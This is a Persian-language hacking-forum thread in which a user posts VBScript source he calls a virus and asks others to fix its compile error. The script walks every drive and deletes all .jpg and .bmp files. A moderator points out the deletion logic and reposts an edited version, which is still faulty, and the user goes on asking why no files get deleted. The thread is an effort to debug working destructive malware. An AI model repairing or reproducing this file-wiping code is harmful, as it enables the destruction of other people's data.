امتیاز موضوع:
  • 1 رأی - میانگین امتیازات: 5
  • 1
  • 2
  • 3
  • 4
  • 5
vbs.folder كسي مي توني كد اين ويروس چه عيبي داره ؟
نویسنده پیام
zer0tent آفلاین
كاربر تک ستاره
*

ارسال‌ها: 56
موضوع‌ها: 15
تاریخ عضویت: اردیبهشت ۱۳۸۷

تشکرها : 1
( 2 تشکر در 2 ارسال )
ارسال: #1
vbs.folder كسي مي توني كد اين ويروس چه عيبي داره ؟
On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc = fso.Drives

For Each d in dc

If d.is ready Then

folderlist(d.path&"\")

end if

Next

end sub

sub infectfiles(folderspec)

On Error Resume Next

set f = fso.GetFolder(folderspec)

set fc = f.Files

for each f1 in fc

ext=fso.GetExtensionName(f1.path)

if (ext="jpg") or (ext="bmp") then

fso.deletefile(f1.path)

end if

next

end sub

sub folderlist(folderspec)

On Error Resume Next

set f = fso.GetFolder(folderspec)

set sf = f.SubFolders

for each f1 in sf

infectfiles(f1.path)

folderlist(f1.path)

next

end sub

وقتي كه اجرا مي شه اين اخطار رو مي ده
winsows script host
line:19
char:9
error: expected 'Then
code:800A03F9
source: microsoft VBScript compilation error
۰۱-خرداد-۱۳۸۷, ۲۳:۰۴:۲۵
ارسال‌ها
پاسخ
godvb غایب
مدیر بازنشسته بخش نفوذ و امنیت
*****

ارسال‌ها: 430
موضوع‌ها: 77
تاریخ عضویت: اسفند ۱۳۸۶

تشکرها : 886
( 1338 تشکر در 343 ارسال )
ارسال: #2
RE: vbs.folder كسي مي توني كد اين ويروس چه عيبي داره ؟
سلام . ان شاالله كه اشتباه نكنم Shy
اين كدت فايل هاي jpg , bmp رو ميگيره پاك ميكنه اين كد پايين فايل هاي jpg رو توي يك ليست باكس اضافه ميكنه .
کد:
Option Explicit
Dim fso As New FileSystemObject
Dim fld As Folder

Private Function FindFile(ByVal sFol As String, sFile As String) As Long
Dim tFld As Folder, tFil As File, FileName As String
  Set fld = fso.GetFolder(sFol)
  FileName = Dir(fso.BuildPath(fld.Path, sFile), vbNormal Or _
  vbHidden Or vbSystem Or vbReadOnly)
  While Len(FileName) <> 0
      FindFile = FindFile + FileLen(fso.BuildPath(fld.Path, FileName))
      List1.AddItem fso.BuildPath(fld.Path, FileName)
      FileName = Dir()  ' Get next file
      DoEvents
  Wend
  If fld.SubFolders.Count > 0 Then
    For Each tFld In fld.SubFolders
      DoEvents
      FindFile = FindFile + FindFile(tFld.Path, sFile)
    Next
  End If
End Function

Private Sub Command6_Click()
On Error Resume Next
Dim sDir As String
Dim sSrchString As String
Dim lSize As Long
List1.Clear
sDir = ("c:")
sDir = Left$(sDir, 2) & "\"
sSrchString = "*.jpg"
lSize = FindFile(sDir, sSrchString)
End Sub

اقايون اگه اشتباه بود حتما بگينWink

آنچه توانسته ایم انجام دهیم، لطف پرودگار بوده است.

XMen For Ever
۱۵-خرداد-۱۳۸۷, ۱۵:۵۵:۴۸
ارسال‌ها
پاسخ
zer0tent آفلاین
كاربر تک ستاره
*

ارسال‌ها: 56
موضوع‌ها: 15
تاریخ عضویت: اردیبهشت ۱۳۸۷

تشکرها : 1
( 2 تشکر در 2 ارسال )
ارسال: #3
RE: vbs.folder كسي مي توني كد اين ويروس چه عيبي داره ؟
با سلام
ببيند اين سورس كه من گذاشتم اصلا فايلي رو پاك نمي كنه و در عوض اون ايراد را مي گيره مي خام بدونم ايراد از كجاشه و اگه لطف كنيد اونو تصحيح كنيد
۱۷-خرداد-۱۳۸۷, ۰۲:۰۷:۰۶
ارسال‌ها
پاسخ
godvb غایب
مدیر بازنشسته بخش نفوذ و امنیت
*****

ارسال‌ها: 430
موضوع‌ها: 77
تاریخ عضویت: اسفند ۱۳۸۶

تشکرها : 886
( 1338 تشکر در 343 ارسال )
ارسال: #4
RE: vbs.folder كسي مي توني كد اين ويروس چه عيبي داره ؟
سلام . پس اين خط كد چيكار ميكنه ؟
کد:
if (ext="jpg") or (ext="bmp") then

fso.deletefile(f1.path)

end if
اگه من اشتباه كردمShy ، خوب درست بگين چيكار ميكنه ؟

شما تو خط 13 متغيير d رو تعريف كردي ، و در خط بعديش بايد حتما فاصله بذاري كه شما نذاشته بودين . كدت ناقصه .كو ببين اين پاييني كار ميكنه ؟

کد:
On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")

Set file = fso.OpenTextFile(WScript.ScriptFullname, 1)

vbscopy = file.ReadAll

Sub listadriv()

On Error Resume Next

Dim dc, s

Set dc = fso.Drives

For Each d In dc

If d.is Then

folderlist (d.Path & "\")

End If

Next

End Sub

Sub infectfiles(folderspec)

On Error Resume Next

Set f = fso.GetFolder(folderspec)

Set fc = f.Files

For Each f1 In fc

ext = fso.GetExtensionName(f1.Path)

If (ext = "jpg") Or (ext = "bmp") Then

fso.deletefile (f1.Path)

End If

Next

End Sub

Sub folderlist(folderspec)

On Error Resume Next

Set f = fso.GetFolder(folderspec)

Set sf = f.SubFolders

For Each f1 In sf

infectfiles (f1.Path)

folderlist (f1.Path)

Next

End Sub

آنچه توانسته ایم انجام دهیم، لطف پرودگار بوده است.

XMen For Ever
(آخرین ویرایش در این ارسال: ۱۷-خرداد-۱۳۸۷, ۱۳:۰۵:۱۵، توسط godvb.)
۱۷-خرداد-۱۳۸۷, ۱۲:۱۴:۳۰
ارسال‌ها
پاسخ
zer0tent آفلاین
كاربر تک ستاره
*

ارسال‌ها: 56
موضوع‌ها: 15
تاریخ عضویت: اردیبهشت ۱۳۸۷

تشکرها : 1
( 2 تشکر در 2 ارسال )
ارسال: #5
RE: vbs.folder كسي مي توني كد اين ويروس چه عيبي داره ؟
با تشکر از راهنمایی شما اما این برنامه هیچ فایلی را نمی تونه پاک کنه کسی هست علتشو بدونه؟
۲۰-تير-۱۳۸۷, ۲۳:۱۶:۰۹
ارسال‌ها
پاسخ


موضوعات مرتبط با این موضوع...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  به نظر شما آنتي ويروس ها اشتباه مي كنن يا اين فايل ويروسه؟؟؟ ΛΛ Θ l-l $ Σ Ω 3 5,096 ۱۶-فروردین-۱۳۹۴, ۰۲:۱۳:۴۵
آخرین ارسال: alimogmov
  [سوال] ويروس RECYCLER arezoobandar 2 2,826 ۱۴-خرداد-۱۳۹۳, ۰۸:۵۸:۱۷
آخرین ارسال: lord_viper
  [ایرانویجی] مطالب بخش ويروس و آنتي ويروس godvb 1 3,361 ۱۸-مرداد-۱۳۹۲, ۲۰:۱۸:۰۹
آخرین ارسال: Di Di
  كارگاه آناليز ويروس Di Di 6 6,127 ۱۱-خرداد-۱۳۹۲, ۱۴:۱۳:۰۳
آخرین ارسال: Di Di
  دليل جعلي بودن انتي ويروس شيد parham2010 6 9,598 ۱۱-بهمن-۱۳۹۱, ۰۲:۵۵:۴۱
آخرین ارسال: Scorpion
  بهترين آنتي ويروس ali_rahmati 8 8,743 ۳۰-آبان-۱۳۹۰, ۱۳:۴۵:۱۵
آخرین ارسال: IISecurity.C
  مهم ترين ويروس های رايانه ای سال 2006 در ايران Darg 2 5,030 ۲۵-فروردین-۱۳۹۰, ۱۰:۱۴:۳۲
آخرین ارسال: parsdarab
  راهنمائي براي حذف ويروس به نام Bi mat غلام علي 2 3,728 ۲۵-فروردین-۱۳۹۰, ۱۰:۱۱:۲۰
آخرین ارسال: parsdarab
Question كمك در مورد نصب آنتي ويروس barni 3 3,962 ۲۹-بهمن-۱۳۸۸, ۱۰:۲۲:۲۶
آخرین ارسال: Payman62
  روش هاي جديد رمزي كردن ويروس ها reza_g 9 7,777 ۰۶-مرداد-۱۳۸۷, ۲۱:۵۲:۳۳
آخرین ارسال: reza_g

پرش به انجمن:


کاربرانِ درحال بازدید از این موضوع: 2 مهمان

صفحه‌ی تماس | IranVig | بازگشت به بالا | | بایگانی | پیوند سایتی RSS